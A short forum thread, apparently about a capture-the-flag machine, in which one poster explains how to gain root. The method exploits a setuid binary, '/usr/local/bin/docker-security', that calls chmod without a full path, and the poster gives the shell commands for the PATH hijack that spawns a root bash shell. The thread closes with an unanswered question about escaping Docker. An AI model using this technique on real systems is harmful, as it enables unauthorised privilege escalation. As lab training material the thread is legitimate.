November 16, 2020 at 12:01 PM
(November 16, 2020 at 11:29 AM)iecoo7Ei Wrote:(November 16, 2020 at 10:24 AM)ARhOmOuTEd Wrote:(November 16, 2020 at 08:34 AM)Detro1t Wrote: Can you explain how did you do it/find it? I'm really stuck to understand the meaning of the bin, i did ltrace and all but i still can't figure out how to privesc from here.How did you do it? Can you please explain?
Nvm I did it, i rooted it. I may be blind.
There is setuid binary/usr/local/bin/docker-security
. This chmod's the docker socket, but doesn't declare a full path for thechmod
command. We can make the command execute a fake chmod and become root:
$ cd $(mktemp -d)
$ echo "bash" > chmod
$ chmod +x ./chmod
$ PATH=$(pwd):$PATH docker-security
But i'm still stuck in docker. how did you break out of docker?